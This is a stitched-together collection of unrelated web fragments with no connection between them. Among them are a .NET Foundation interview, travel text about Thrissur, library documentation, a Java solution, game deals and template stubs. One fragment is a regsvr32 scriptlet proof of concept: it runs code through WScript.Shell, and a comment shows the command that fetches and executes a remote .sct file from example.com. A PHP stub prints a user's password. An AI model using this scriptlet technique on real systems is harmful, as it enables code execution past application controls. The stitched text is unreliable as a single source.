Meet Your Advisory Council - Shaun Walker
Hi, I’m Beth Massi and I’m a Technical Evangelist for the .NET Foundation and also a member of the .NET team at Microsoft. I’m responsible for a lot of the team’s community efforts including event planning, content creation, customer outreach, as well as helping the .NET Foundation Board, Executive Director, and Advisory Council with .NET open source software initiatives.
The Advisory Council is composed of OSS project leaders that care deeply about .NET and the success of the foundation. They drive key initiatives in the foundation and guide the board. Learn more about what the Advisory Council is all about and participate in public discussions with them on our forums. We thought you’d like to get to know the folks on our Advisory Council so I’m kicking off a series of written interviews with them.
For this first post, I interviewed Shaun Walker, the Advisory Council Chairman. Shaun has 20+ years professional experience in architecting and implementing large scale software solutions for private and public organizations. He is a Co-Founder & Former CTO of DNN Corp and the original creator and maintainer of DotNetNuke, a web application framework for ASP.NET which spawned the largest and most successful open source community project on the Microsoft platform. He has been a Microsoft MVP in ASP.NET since 2004. He is a frequent speaker at conferences and user groups and is a contributing author to a variety of technology focused publications.
Tell us a little bit about yourself. What's your background? When did you start getting interested in programming?
In 1979, when I was 9 years old, my family relocated to Ashcroft, British Columbia, Canada, a tiny community in the south-central interior of British Columbia with a population of approximately 1500 people. We relocated with a goal to start a commercial vineyard. My grandfather had owned a vineyard in Kelowna and he had sold it with the idea that the hot arid climate in Ashcroft, combined with cheap abundant land, would be a perfect environment for him and his children to establish a large, successful vineyard.
My mother and father, grandparents, and two uncles bought approximately 200 acres of sagebrush-covered land about 30 minutes outside Ashcroft, an area known as Basque Siding that was only accessible by navigating 5 miles of unpaved roads. We each had our own 50-acre parcel of land but the family all worked together to establish the infrastructure to develop our vineyards. We installed power, irrigation systems, cleared land, and built houses. Then we planted seedling grapes, and grew alfalfa and other crops to provide some initial income, as a vineyard takes five years before it reaches full production. We were extremely self-sufficient and raised our own cows, pigs, turkeys, and chickens, as well as our own fruits and vegetables.
When I was 12 years old we visited my cousins in Kelowna and I was introduced to the Commodore VIC-20 for the first time. My cousins were using it to play games but my parents clearly saw my fascination in this little machine. Money was scarce, so I am not sure what ultimately motivated their decision, but they decided to purchase a base model VIC-20, which came with an integrated keyboard, a cassette tape drive, and a user manual. They also had one stipulation — the only games I could play were games I created myself.
So I spent a lot of time typing BASIC code into the computer and storing the programs on cassette tape. My parents got me a subscription to COMPUTE! magazine, which provided source code listings for more advanced games. Pretty soon I started to recognize the patterns and techniques required to write programs, and I started building my own applications. Living on a remote farm created a perfect environment for investing myself in computers, as there were few distractions — I was either outside working in the vineyard ( pruning, weeding, picking, cultivating ) or I was inside the house typing code. My two younger brothers were more than happy to play the games that I created for them.
When I saw the movie War Games in 1983 starring Mathew Broderick, I really got excited about the potential of computers as more than just a standalone device. In the movie, the character played by Broderick hacks into the NORAD super computer nicknamed “Joshua” using a backdoor password and mistakenly invokes Global Thermonuclear War. In the climax, the supercomputer is tricked into playing Tic-Tac-Toe against itself until it reaches a draw and declares that “the only winning move is not to play.” After watching this movie numerous times I was convinced that I wanted to be a “hacker” and I sent off handwritten letters to many of the vendors listed in COMPUTE! magazine asking how I could become a programmer.
In the summer of 1983 we took a long road trip to Disneyland in California and spent some time visiting my uncle in the Bay Area. During this trip my parents finally caved in to my demands for a computer upgrade. The Commodore 64 was a large enhancement over the VIC-20, and we were able to get a good deal on a Commodore 64 package, a 1702 color monitor, and a 1541 floppy disk drive. I could not wait to get home and plug in these amazing new devices.
The following winter my family suffered a significant setback. Some exceptionally cold weather killed all of our grape plants, which ended my parents’ dream of operating a large commercial vineyard. They did not have the resources to replant the vineyard, so they both had to work traditional jobs while continuing to operate the farm by selling fruits and vegetables to the local markets to try and make ends meet. This was very hard work, and without any opportunity for vacations as the farm demanded the family's full attention almost year round. The entire family pitched in to keep the farm afloat as my parents tried valiantly to preserve their investment.
When I reached high school I was allowed to participate in an accelerated learning program that allowed me to take Computer Science courses that were two grade levels higher than my current grade. This exposed me to IBM PCs and Apple II computers and some new programming languages. I loved the challenge of solving problems and got a lot of satisfaction out of being able to tell the computer to follow my specific instructions. I had found my passion and I knew at that point that my future career would involve software development.
What initiatives are you working on (or passionate about) within the .NET Foundation?
As the Chairman of the Advisory Council, I am working closely with the Executive Director to provide a solid operating model for the .NET Foundation. I authored the original Charter for the Advisory Council and I am actively involved in formalizing project governance criteria.
Can you tell us some of the first open source projects you worked on as a contributor? Why did you get involved? How did you get started?
On Christmas Eve 2002 I released the first version of DotNetNuke, an open source .NET CMS Platform. DotNetNuke was based on a sample application that Microsoft had released for ASP.NET 1.0 called the IBuySpy Portal. I had significantly enhanced the original sample application with many additional capabilities including multi-tenancy, and felt compelled to share it with the broader ASP.NET community. Releasing DotNetNuke as an MIT-licensed open source project allowed it to gain worldwide recognition and adoption.
Looking back, what bug are you most proud of fixing in an open source project?
There were many bugs that I fixed on the DotNetNuke project, but the one which is most memorable for me was a security vulnerability in an early version of the platform which allowed a user to upload executable code files. The actual code fix turned out to be trivial, but understanding how the exploit was being orchestrated was far more challenging. Ultimately it was leveraging a combination of an improper string validation in the application as well as an obscure legacy behavior in IIS. I had to use my powers of persuasion to convince the Iranian hacker who discovered the vulnerability to explain the process he was using to exploit the loophole. And then I had to determine the appropriate safeguard, patch the application, and inform the community of the vulnerability.
What project(s) do you spend most of your time on now?
I still write open source extensions for DotNetNuke, but I am also working in stealth mode on a new open source project that I expect to release later this year… stay tuned.
Can you tell us one thing you have learned about running an open source project?
One of the most important things to understand about running an open source project is that developers are driven by personal motivation. As a result, management in an open source project is not so much about directing people what to do, but rather figuring out how to take best advantage of all of the random contributions from the community.
Why is open source software important to you?
Open source software allows people of modest backgrounds, education, business experience, culture, and financial resources to overcome adversity, unleash their creativity and passion, and pursue success in the areas of philanthropy or entrepreneurship.
What is it about .NET that you like most?
I like that .NET is a constantly evolving and integrated suite of technologies that allow software developers to solve complex business problems.
What does the future of .NET look like in your dreams?
In my dreams, .NET becomes an even more dominant technology platform than it is today. It will evolve in a transparent manner to embrace open standards and trends and will continue to incorporate modern characteristics which allow it to remain relevant and competitive in the broader technology landscape.
Thanks, Shaun!
Feel free to ask more interview questions in the comments below.
Enjoy,
-Beth Massi, .NET Community


Rainfall
ReactOS at its finest. Formerly known as Thorium.
Learn more
The
(R)
evolution was nothing.
We're at a new stage of the cloud.
Windows 2000? I think not.
Pricing


Thrissur: The Cultural Capital of Kerala
Officially known as the cultural capital of Kerala, Thrissur is famous for fostering classical Keralan performing arts, religious sites and the renowned Thrissur Pooram festival, Onam festival and Vadakkumnathan Temple.
Thrissur is the short form of Thiru-Shiva-Per-Ur which literally means “a city with three temples of Lord Shiva”. Thrissur later became anglicised to Trichur.
Thrissur is from where Kerala gets a fair share of its festive glitter. Thrissur was the capital of the Kingdom of Kochi. The festivals celebrated here are the major attraction for tourists and a visit to Thrissur is incomplete without witnessing these. Other tourist spots in Thrissur include the Vadakkumnathan Kshetram Temple, Tomb of Shakthan Thampuran, Archaeology Museum, Athirapally Falls, Heritage Garden and many more
Top Destinations
Sri Vadakkumnathan Temple
Sakthan Thampuran Palace
Vilangan Hills
Bible Tower Thrissur
Officially known as the cultural capital of Kerala, Thrissur is famous for fostering classical Keralan performing arts, religious sites and the renowned Thrissur Pooram festival, Onam festival and Vadakkumnathan Temple. Thrissur is the short form of Thiru-Shiva-Per-Ur which literally means “a city with three temples of Lord Shiva”. Thrissur later became anglicised to Trichur. Thrissur is from where Kerala gets a fair share of its festive glitter. Thrissur was the capital of the Kingdom of Kochi. The festivals celebrated here are the major attraction for tourists and a visit to Thrissur is incomplete without witnessing these. Other tourist spots in Thrissur include the Vadakkumnathan Kshetram Temple, Tomb of Shakthan Thampuran, Archaeology Museum, Athirapally Falls, Heritage Garden and many more


Moving WS to the right most position
-
vjl
WinSwitch is awesome! Apple should have done this from the get-go. One problem though - I don't display the Apple date/time on my menubar, but instead I use the free wClock which allows me to display the date and time on the menu bar [not possible via the Apple date/time preference].
My only problem is that I can not drag the WinSwitch icon/userid to the far right of my menubar. I can command-drag it up until the wClock date/time stamp.
Is this a WinSwitch issue or a wClock issue? wClock can be downloaded via:
http://www.wolfware.com/wClock.html
Thanks for any info you might be able to provide. And thanks again for such a useful program. Hope Apple gives you some money and puts it into 10.4.
/vjl/
-
Greg Hurrell
This is a wClock issue: it's breaking all the rules. You'll notice that you can't drag any of the Apple-supplied NSMenuItems to the right of wClock either. I suggest you contact the author.
Reply
This topic is now closed.


Santa Sleigh Bus hits road
by Sarita PatelThe 17th annual Santa Sleigh Bus will be hitting the road soon in Kelowna.
The bus is full of holiday spirit and is decorated by a team at Kelowna Transit. It will travel around the Central Okanagan from Dec. 8 to 14, collecting donations for those less fortunate over the Christmas season.
Collected food, toys and cash donations will be donated to the Salvation Army for its annual Christmas hamper program.
The Santa Sleigh Bus will start its route at Prospera Place in downtown Kelowna and make its way through the Central Okanagan before wrapping up at Stuart Park skating rink on Saturday.
Check below for a complete list of stops throughout the week.


{% extends "tools_app/base.html" %} {% block content %}
Welcome to moatools - a small set of utilities to aid in administering Mordus Angels


Hello,Im Snehal
This is my Website.Here I have showcased myself in the most descriptive way possible.
Scroll Down to get to know me better.
Download My ResumeThis is my Website.Here I have showcased myself in the most descriptive way possible.
Scroll Down to get to know me better.
Download My ResumeI have 3 years experience in HTML and i completed 100+ HTML project.
I have 3 years experience in JavaScript and i completed 100+ Js project.
I have 3 years experience in JavaScript and i completed 100+ Js project.


---
layout: post
title: Twitter, constraints and SMS
date: 2008-08-17 00:00:00
categories: business mobile
---
Is it just me, or is it slightly strange that:
- Twitter is a business built on lifting an artificial constraint from another medium (140-character posts, suspiciously close to the 160-character limit we know and love in SMS);
- Meanwhile, there's a vast amount of whingeing going on about how it's deeply unfair that Twitter is turning off mobile updates... all because it's constrained by a different aspect of SMS: cost-per-message-sent;
- This latter aspect of SMS has probably let to a better ecosystem of profitable businesses (i.e. pretty well the whole mobile content industry from ringtones onwards, let along the direct person-to-person messaging revenues) than most Web 2.0 startups will ever hope to;
See also Fred Wilsons lovely post on constraints and why businesses ought to embrace them:
"I believe constraints are key to building great web apps. I am not sure about rules that are dictated by the market or government. But the reality of the place we are in is that we have to deal with them. And the best entrepreneurs will figure out how to play these rules to their advantage."


"EVIL-MERODACH" Merodach’s man, the son and successor of Nebuchadnezzar, king of Babylon (2 Kings 25:27; Jeremiah 52:31, 34). He seems to have reigned but two years (B.C. 562-560). Influenced probably by Daniel, he showed kindness to Jehoiachin, who had been a prisoner in Babylon for thirty-seven years. He released him, and “spoke kindly to him.” He was murdered by Nergal-sharezer=Neriglissar, his brother-in-law, who succeeded him (Jeremiah 39:3, 13).
"EVIL-MERODACH" Merodach’s man, the son and successor of Nebuchadnezzar, king of Babylon (2 Kings 25:27; Jeremiah 52:31, 34). He seems to have reigned but two years (B.C. 562-560). Influenced probably by Daniel, he showed kindness to Jehoiachin, who had been a prisoner in Babylon for thirty-seven years. He released him, and “spoke kindly to him.” He was murdered by Nergal-sharezer=Neriglissar, his brother-in-law, who succeeded him (Jeremiah 39:3, 13).


The JavaScript code in this Web page intends to answer the following questions:
- How many city workers earn above $200,000 total salary ie with overtime?
- How many police earn above $200,000 with overtime?
- What is the total paid by the city to the police?


The pricing shown below should correspond to your location (or default to the US) like the pricing page on our HR Partner site.
See it in action!Show me pricing in:
Our free plan will suit the Scrooge McDuck's among you.
This basic plan should get you kick started.
For businesses that really need all the bells and whistles.
If you have more money than Elon Musk, then this is the plan for you.


Title
Subtitle
This is some text. This is some text. This is a sidenote! This is some text. This is some text. This is some text. This is some text. This is some text.
This is some more text. This is some more text. This is a margin note! No number. This is some more text. This is some more text.
Blog posts
- 2016 May 15 — Syntax Highlight Test


Alexa Service for Counseling
ASC an end-to-end Alexa counseling application that helps mitigate the long waiting issue with psychiatry appointments by providing a platform that connects patients directly with counselors. Users of our application are college students and counselors. When the patients use our application, they are first directed to talk to a bot and describe their issue. The bot acts as the primary caregiver and tries to achieve the following goals: * Ask leading questions to help the user describe the problem * Categorize the issue according to some specified categories * Provide some simple resources to help the patient


Get To Know Us
We makes launching and managing our own business easy. It is home to experts who provide clear, practical notes and question papers. Whether you're just starting up or you want to take your reading skills to the next level, our few-years-strong library of more than 30 pieces of content will answer your questions and turn your dreams into reality. Sujanpdl.com.np is part of providing knowledge of education, including Notes , Questions & Answers covering topics, syallabus, and small practical knowledge. With more than thousands of notes provider, we are among the top as measured by Crimson Technical College(Butwal-Nepal), a leading tough college of Butwal. Our more than 30 notes are written by those writers having extensive qualifications and expertise in their topics, including MBAs, PhDs, CFPs, other advanced degrees and professional certifications. Sujanpdl.com.np is an website where you can find your notes(e-books) for free and you'll not be charged any allownces for the notes.
Our Team
Sujan Paudel
Founder & Developer
Siddhartha Pandey
Documentation Part
Binayak Pandey
Helping Hand
Prashant Bhusal
Helping Hand


--- layout: post status: publish published: true title: Bug In the .NET CompactFramework XmlEnum with Whitespace author: display_name: Geoff Lane login: admin email<EMAIL_ADDRESS>url: http://www.zorched.net author_login: admin author_email<EMAIL_ADDRESS>author_url: http://www.zorched.net date: '2006-12-21 21:59:46 -0500' date_gmt: '2006-12-22 03:59:46 -0500' categories: - ".NET" tags: [] ---
In .NET you can use Attributes to mark up properties in a class to tell the XmlSerializer how to marshal that class to and from XML. There are a number of different attributes you can use. You can use enums for restricted lists of values.
E.g:
{% highlight csharp %} public enum Foo { [XmlEnum("Some Value") Some, [XmlEnum("Another")] Other
} {% endhighlight %}To represent something like
At least that's the idea... It seems like XmlEnum marked values with whitespace in their names will not be deserialized on the .NET CF 2.0. It throws an InvalidOperationException saying it can't find the enum with value of the part of the string before the space.
I would expect it to deserialize into the enum Foo.Some. All of this works on the Full Framework.
If you control the schema you can workaround this issue by changing the allowed values not to have spaces in them. But in many cases you might be trying to integrate with an existing service or schema that you do not control and as such, you won't have the ability to change it. If that's the case what do you do?
Luckily I found some code to help me get the XmlEnumAttribute value for an Enum field (thanks for sharing).
I made some slight modifications to it, so that it was a little safer (I think).
{% highlight csharp %}
///
I also needed to go the other way then, and convert a String back into an Enum so that I can support deserializing from XML into the object model.
{% highlight csharp %}
///
return null; } {% endhighlight %}
Using this code, you can offer an API to client code that uses the strongly-typed Enum, but does a manual conversion for the serialization process. {% highlight csharp %} class Bar { private Foo fooType; // The code called by the application [XmlIgnore] public Foo FooType { get { return fooType; } set { fooType = value; } } // The code used to manage serialization // Ideally this could be private, but that doesn't work with the serializer [XmlElement("baz")] public string FooTypeForSerializer { get { return ConvertToString(fooType); } set { fooType = (Foo) ConvertToEnum(typeof(Foo), value); } } {% endhighlight %}
I hope that helps if you run into a similar problem.


Getting Started¶
Download¶
Install manually¶
$ git clone https://github.com/minamorl/redis-orm/
$ cd redis-orm && python setup.py install
Create a model¶
To create a model, you have to create a class that inherits
redisorm.Model
. Below is an example:
from redisorm import Model, Column
class Person(Model):
id = Column()
name = Column()
address = Column()
Or you can simply use redisorm.create_model
helper to create
a class:
from redisorm import Model, Column
Person = redisorm.create_model("Person",
id = Column(),
name = Column(),
address = Column()
)
Make sure that id column is set. This is important because redis-orm looks up all instance with ids. If id column is missing, redis-orm will be not able to find your models. This is important behavior.
Save and Load¶
Create an instance¶
You can create an instance from a Model-derived class.
person = Person(name="John")
Usually, you should not set the id column.
Save an instance¶
First, you shoud create an instance of redisorm.Client
:
import redisorm
client = redisorm.Client()
By the default, redis-orm creates an instance of redis with a default values. You can also pass a custom redis instance:
import redis
r = redis.StrictRedis(port=32123, decode_responses=True)
redisorm.Client(r=r)
Then:
client.save(person)
That’s it.
Loading from redis¶
Client.load_all
yields all instances from existing data in Redis.
for person from client.load_all(Person):
print(person.name)
Or you can specify the id to Cient.load
and get the instance:
person = client.load(Person, 0)
print(person.name)


<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->
<!-- .sct files when downloaded, are executed from a path like this -->
<!-- Please Note, file extenstion does not matter -->
<!-- Though, the name and extension are arbitary.. -->
<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
<!-- Based on current research, no registry keys are written, since call "uninstall" -->
<!-- You can either execute locally, or from a url -->
<script language="JScript">
<![CDATA[
// calc.exe should launch, this could be any arbitrary code.
// What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>


MdToolbarModule
Official Documentation
<md-toolbar>
is a container for headers, titles, or actions.
Toolbars can have multiple rows using <md-toolbar-row>
elements.
Any content outside of an <md-toolbar-row>
element are automatically placed inside of
one at the begining of the toolbar. Each toolbar row is a display: flex container.
<md-toolbar>

First Row
<md-toolbar-row>

Second Row
</md-toolbar-row>
<md-toolbar-row>

Third Row
</md-toolbar-row>
</md-toolbar>
The toolbar does not perform any positioning of its content. This gives the user full power to position the content as it suits their application.
A common pattern is to position a title on the left with some actions on the right. This can be easily accomplished with display: flex:
<md-toolbar color="primary">

Application Title

Right Aligned Text
</md-toolbar>
.example-fill-remaining-space { // This fills the remaining space, by using flexbox. // Every toolbar row uses a flexbox row layout. flex: 1 1 auto; }
The color of a md-toolbar>
can be changed by using the color property.
By default, toolbars use a neutral background color based on the current theme (light or dark).
This can be changed to primary
, accent
, or warn
.
MdToolbarModule
| Name | Description |
|---|---|
|
@Input()
color |
The color of the toolbar. Can be primary, accent, or warn. |


Computer Science is one of the fastest growing fields in the world. There are more CompSci-related jobs available than actual people qualified to fill those jobs. Computer Science allows people to see innovations and advances in science, engineering, business, entertainment, and education. Programmers solve deep, multidimensional problems in the world that require perspective and inventiveness. The best solutions in computing are derived from creativity and imagination.
The number of open jobs in this field is constantly increasing and showing no signs of slowing down. We need the number of qualified people to increase at that same rate to meet those jobs. This is why we started Coding Club. Our club welcomes students of any skill level, from those who've never touched an editor in their life to veteran coders. Coding Club is a positive and friendly environment to work on projects, share ideas, and collaborate.
Take this quick quiz to check your knowledge of computer science!


| Action Name | {{opportunityaction.name}} | Posted by | {{opportunityaction.user?opportunityaction.user.displayName:'Deleted User'}} |
| Posted on | {{opportunityaction.created | date:'mediumDate'}} | Assignee | {{opportunityaction.assignee.displayName}} |
| Due by | {{opportunityaction.dueBy | date:'mediumDate'}} | Status | {{opportunityaction.status}} |
| Opportunity | {{opportunityaction.opportunity.opportunityDisplay}} | ||
| Description | {{opportunityaction.description}} |


I craft solutions using code, sketchs, geography, and engaging people. I believe in a better way of working, be it delivery of geospatial data, or structuring agile projects to be approachable by non-technologists.
Specialities include: JavaScript, analysis, GIS, international development, data visualization, user interfaces, agile development, decision support systems.
Passions include: Making things better, pig roasting, open methodologies, wood working, dog training, ideas.


In software, the chain isn't as strong as its weakest link; it's as weak as all the weak links multiplied together. --Steve McConnell [ source]


F# to OpenCL compiler
| Download ZIP File | Download TAR Ball | Fork On GitHub |
The FSCL compiler pipeline is composed of a set of steps that progressively transform F# expressions into OpenCL code.
Even if the compiler is thought to work straight out-of-the-box by simply instantiating it using the parameterless constructor new Compiler()
,
the pipeline can be fully changed and customised as needed.
In this page we give an overview on how the compiler pipeline configuration works.
Before digging into the configuration infrastructure, a small introduction and a little terminology is needed. There are three types of components that contribute to the compiler behavior.
For example, the parsing step (or parser) is the first step of the native pipeline whose task is to extract/create a MethodInfo
for the
kernel and to determine the set of kernel parameters starting from a quoted expression.
To do this, the parser orchestrates a set of processors, each of which is responsible of parsing a particular quoted
construct, such as kernel calls, kernel references and collection function (e.g. Array.map
) calls.
An example of type handler is the Array type handler, whose purpose is to determine is a particular array type is
valid and to generate the target code (e.g. float*
) from the .NET type (e.g. float32[]
).
Steps, processors and type handlers are characterised by some properties that allow to determine their interrelated order of execution. For example, each step is decribed by:
Processors and type handlers have the same set of properties. In addition, each processor has a Step property that holds the ID of the step the processor belongs to. Having both dependencies and before may sound redundant, but it comes in handy whenever various dlls containing components (generally called plugins ) are published, shared and used in different environments. In fact, plugin developers cannot take into account all the past, present and future components that may populate the compiler pipeline in the target environment. Given this, developers generally specify only the dependencies of custom components from the native compiler components. Sometimes it happens that two plugins (potentially from different authors) cannot be evaluated in arbitrary order, but instead have an inter-dependency. For example, a programmer may create a custom step that converts objects into structs to be plugged into a pipeline already containing another custom step that performs some optimisations on structs. Since the programmer cannot modify the pre-existing custom step (it's a dll placed somewhere), he will add the ID of the structs-optimisation step to the Before list of the step he's developing to guarantee the pre-existing step is executed only after his one.
Whenever you instantiate the compiler using the parameterless constructor, the pipeline is populated with the native, built-in FSCL compiler components (which, by the way, are contained in the FSCL.Compiler.NativeComponents.dll
library).
There are mainly three aspects to consider when configuring the compiler pipeline:
Assembly
objectPipelineConfiguration
, containing the list of components sources to considerIn a prototyping environment, object-base configuration, assembly source and automatic loading mode is the suggested combination, since makes it fast to create and change the configuration.
When moving to a testing/tweaking environment, you may want to play with the order of execution of come steps or try to disable/enable some processors for sake of performance. This is a case where object-based configuration and assembly sources are still the best choice, but automatic locading mode is not anymore, cause changing inter-dependencies or enabling-disabling a components with such a loading mode requires to change/add/remove components custom attributes (and recompile the components library). Therefore, you should go for explicit loading mode, that allows you to perform some changes in the compiler pipeline without the need to touch your components code.
 This is the perfect situation to use file sources and file-based configurations. For example, consider that you create an appplication that uses the FSCL compiler. After proper testing and before deploying, you create a configuration file, you store it somewhere, and you change the compiler constructor used in your application from the one taking a list of assemblies to one taking a file path (a.k.a. you move from object-based configuration to file-based). From this moment on, every change to the compiler pipeline (e.g. fixing a bug in a step, adding a custom step, change some order of execution) can be done without the need to change your application but instead working on the configuration file only.
The following code shows how to configure the compiler using assembly sources and automatic component loading.
The PipelineConfiguration
object represents the entire pipeline configuration. In this particular case, we instantiate
it passing a list of AssemblySource
, one of each different assembly containing components that we want to add to the pipeline (most of the time you have one only assembly containing all the components of your plugin).
The first bool value is used to tell the configuration whether the native steps have to be loaded together we the ones specified.
If you build a plugin you generally want to insert it in the default pipeline, so the first argument will be true
. If you pass false
, you're creating the pipeline from scratch.
With the configuration shown, the configuration system automatically loads the components from the specified assemblies, establishes the execution order based on inter-dependencies, and finally builds a ready-to-use instance of the FSCL compiler.
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: |
open System open System.IO open FSCL open FSCL.Compiler open FSCL.Compiler.Configuration let simpleConf = PipelineConfiguration(true, // true = Load native components [| SourceConfiguration( AssemblySource(typeof<MyCustomStepInAnAssembly>.Assembly)); SourceConfiguration( AssemblySource(typeof<MyCustomProcessorInAnotherAssembly>.Assembly)); |]) let compilerWithSimpleConf = Compiler(simpleConf) |
Every source can be configured independently from each other, so if you wanted to load some components from a file you could change an assembly source to file source. For example, in the fillowing code the first source is changed from assembly to file.
1: 2: 3: 4: 5: 6: 7: 8: |
let simpleConfWithAFileSource = PipelineConfiguration(true, // true = Load native components [| SourceConfiguration( FileSource("MyCustomComponentContainer.dll")); SourceConfiguration( AssemblySource(typeof<MyCustomProcessorInAnotherAssembly>.Assembly)); |]) let compilerWithFileSource = Compiler(simpleConfWithAFileSource) |
Let's consider we have the two components sources of the previous example, each of which is containing a step, and we want to test if performances or correctness change if we switch the order of execution. Instead of changing the custom attributes marking the steps in the two libraries we can explicitely set (override) the attributes of the steps in the configuration object.
In the following example we use explicit components loading to load these two steps, where the first (MYCUSTOMSTEPA) must be executed after (depends on) the second (MYCUSTOMSTEPB).
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: |
let explicitConf = PipelineConfiguration(true, [| SourceConfiguration( FileSource("MyCustomComponentContainer.dll"), [||], // No type handlers [| StepConfiguration("MY_CUSTOM_STEP_A", // ID typeof<MyCustomStepA>, // Object type [| "MY_CUSTOM_STEP_B" |]) |], // Depends on B [||] // No processors ); SourceConfiguration( AssemblySource(typeof<MyCustomProcessorInAnotherAssembly>.Assembly), [||], // No type handlers [| StepConfiguration("MY_CUSTOM_STEP_B", // ID typeof<MyCustomStepB>) |], // Object type [||] // No processors ); |]) let compilerStepAAfterB = Compiler(explicitConf) |
To change the order of execution of the two steps, you can change the inter-dependency so that the second is depending from the first, as shown below.
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: |
let explicitConfDiffOrder = PipelineConfiguration(true, [| SourceConfiguration( FileSource("MyCustomComponentContainer.dll"), [||], // No type handlers [| StepConfiguration("MY_CUSTOM_STEP_A", // ID typeof<MyCustomStepA>) |], // Object type [||] // No processors ); SourceConfiguration( AssemblySource(typeof<MyCustomProcessorInAnotherAssembly>.Assembly), [||], // No type handlers [| StepConfiguration("MY_CUSTOM_STEP_B", // ID typeof<MyCustomStepB>, // Object type [| "MY_CUSTOM_STEP_A" |]) |], // Now is B that depends from A [||] // No processors ) |]) let compilerStepABeforeB = Compiler(explicitConfDiffOrder) |
In a production environment, you may place the dlls or your custom components in a specific folder and instantiate the compiler using file sources.
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: |
let confWithOnlyFileSource = PipelineConfiguration(false, [| SourceConfiguration( FileSource(Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyCustomComponentContainerA.dll"))); SourceConfiguration( FileSource(Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "MyCustomComponentContainerB.dll"))) |]) |
Every change to the components (e.g. bug fixing) can be performed without the need to change the app that uses the FSCL compiler but simply replacing the dlls in the folder.
The highest flexibility in production is definitely obtained moving from object-based configuration to file-based, that is creating the compiler specifying the path to configuration file
instead of an object.

For example, the configuration of the previous example can be put into the configuration file as follows:
Instead of passing an object to configure the compiler, you can now pass the path to the configuration file.
1:
|
let compilerWithConfFile = Compiler("MyConfigurationFile.xml") |


574_jotaki.java
class Solution {
public int minCost(int[] houses, int[][] cost, int m, int n, int target) {
// Min cost to color houses with k neighborhoods.
// dp[i][j][k] = Min cost to color up to index i houses, ending on color n, with k neighborhoods.
int[][][] dp = new int[m][n][target+1];
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
Arrays.fill(dp[i][j], Integer.MAX_VALUE);
}
}
// Initialize with coloring first house, obtaining 1 neighborhood.
if (houses[0] == 0) {
for (int color = 0; color < n; color++) {
dp[0][color][1] = cost[0][color]; // Get min cost for each color of first house.
}
}
else {
dp[0][houses[0]-1][1] = 0; // First house is already painted, so costs 0.
}
for (int neighborhoods = 1; neighborhoods <= target; neighborhoods++) {
for (int house = 1; house < m; house++) {
if (houses[house] != 0) {
int color = houses[house] - 1;
if (dp[house-1][color][neighborhoods] != Integer.MAX_VALUE) {
dp[house][color][neighborhoods] = dp[house-1][color][neighborhoods];
}
for (int c = 0; c < n; c++) {
if (c != color && dp[house-1][c][neighborhoods-1] != Integer.MAX_VALUE) {
dp[house][color][neighborhoods] = Math.min(dp[house][color][neighborhoods], dp[house-1][c][neighborhoods-1]);
}
}
}
else {
for (int color = 0; color < n; color++) {
int costHere = cost[house][color];
for (int prevColor = 0; prevColor < n; prevColor++) {
if (color == prevColor) {
if (dp[house-1][prevColor][neighborhoods] != Integer.MAX_VALUE) {
dp[house][color][neighborhoods] = Math.min(dp[house][color][neighborhoods],
dp[house-1][prevColor][neighborhoods] + costHere);
}
}
else {
if (dp[house-1][prevColor][neighborhoods-1] != Integer.MAX_VALUE) {
dp[house][color][neighborhoods] = Math.min(dp[house][color][neighborhoods],
dp[house-1][prevColor][neighborhoods-1] + costHere);
}
}
}
}
}
}
}
int min = Integer.MAX_VALUE;
for (int lastColor = 0; lastColor < n; lastColor++) {
min = Math.min(min, dp[m-1][lastColor][target]);
}
return min == Integer.MAX_VALUE ? -1 : min;
}
}


Microsoft’s weekly Xbox deals offer games up to 85 percent off
The deals expire on November 18th at 6:00am ET
by Dean DaleySimilar to before, Microsoft is offering a variety of games on sale for its ‘Deals With Gold’ and ‘Spotlight Sale’ promotions.
These games include Sonic Adventure and Styx: Master of Shadows + Styx: Shards of Darkness.
The games available for sale are mostly for the Xbox One, but there are some that are backwards compatible and playable on both XB1 and Xbox 360.
Here are some of the games below on sale, and note only Xbox Live Gold members can purchase any of the ‘Deals With Gold’ titles. These deals expire on November 18th at 6:00am ET.
- Attack of the Earthlings is now $13.79 with Deals with Gold, was $22.99.
- Dead Alliance is now $5.84, was $33.15
- Indie Bundle: Shiness and Seasons after Fall are now $4.99 with Deals with Gold, was $19.99
- Sonic Adventure is now $2.40 with Deals with Gold, was $4.99 (backwards compatible)
- Sonic Adventure 2 is now $4.99 with Deals with Gold, was $9.99 (backwards compatible)
- Styx: Master of Shadows + Styx: Shards of Darkness bundle with Deals with Gold is now $19.99, was $79.99
- Warhammer Bundle: Mordheim and Blood Bowl 2 is now $13.49 with Deals with Gold, was $53.99
- Solo: Islands of Heart is now $11.49, was $22.99
While these are the more notable games, check out Major Nelson for the complete list.
Source: Major Nelson


{% extends "base.html" %} {% block title %}Week {{week}}, Day {{day}} Schedule{% endblock %} {% block content %}
There are no matches scheduled for this day.


Home
|
Logout
LIPPIS
Profile Page
Your account details :
Username:
=$_SESSION['name']?>
Password:
=$password?>
Mail xd:
=$email?>


A dog is a type of domesticated animal. Known for its loyalty and faithfulness, it can be found as a welcome guest in many households across the world.
"Module" Widgets
These are custom attributes that correspond to the "Modules" section of the Semantic UI widget set.
The ui-accordion
element/attribute corresponds to the Accordion Semantic element.
There are many breeds of dogs. Each breed varies in size and temperament. Owners often select a breed of dog that they find to be compatible with their own lifestyle and desires from a companion.
Three common ways for a prospective owner to acquire a dog is from pet shops, private owners, or shelters.
